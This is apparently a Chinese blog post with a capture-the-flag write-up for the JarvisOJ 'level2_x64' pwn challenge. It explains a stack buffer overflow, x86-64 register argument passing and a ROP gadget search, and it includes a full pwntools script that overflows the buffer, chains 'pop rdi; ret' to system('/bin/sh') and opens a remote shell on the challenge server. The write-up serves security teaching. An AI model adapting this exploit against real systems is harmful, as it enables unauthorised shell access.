美文网首页CTFCTFLinux
[JarvisOj](pwn)level2_x64

[JarvisOj](pwn)level2_x64

作者: 王一航 | 来源:发表于2017-03-14 18:20 被阅读195次

    简介 :

    项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
    下载地址 : https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
    

    地址 :

    nc pwn2.jarvisoj.com 9882
    

    分析 :

    rop
    首先 read() 函数存在缓冲区溢出漏洞
    这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
    而是这样 : 
    如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 : 
    rdi, rsi, rdx, rcx, r8, r9
    如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
    详情请参考文章末尾的参考链接
    我们这里需要构造 system("/bin/sh") 的调用栈
    因此需要使用到寄存器传参 , 根据 rop 的思想 : 
    需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码
    可以利用 ropper 在可执行程序中寻找 : 
    ropper -f level2_x64 --search "pop|rdi|ret|"
    找到一个可用的 : 
    0x00000000000006b3: pop rdi; ret;
    然后就可以构造 payload
    payload =  junk + fake + pop_rdi_ret_address + bin_sh_address + system_address
    该题目中在数据段已经给了 "/bin/sh" 的字符串 , 我们只需要使用即可
    
    64位函数参数个数大于 6 的栈帧.png 64位函数参数个数小于 6 的栈帧.png 32位函数的栈帧.png

    利用代码 :

    #!/usr/bin/env python
    # encoding:utf-8
    
    from pwn import *
    
    pop_rdi_ret_address = p64(0x4006b3)
    bin_sh_address = p64(0x600A90)
    system_address = p64(0x4004C0)
    
    payload = "A" * 0x80 + "B" * 0x08
    payload += pop_rdi_ret_address
    payload += bin_sh_address
    payload += system_address
    
    # Io = process("./level2_x64")
    Io = remote("pwn2.jarvisoj.com", 9882)
    Io.write(payload)
    Io.interactive()
    

    参考资料 :

    [Stack frame layout on x86-64]
    (http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64)
    [Where the top of the stack is on x86]
    (http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86)
    

    相关文章

      网友评论

        本文标题:[JarvisOj](pwn)level2_x64

        本文链接:https://www.haomeiwen.com/subject/brjhnttx.html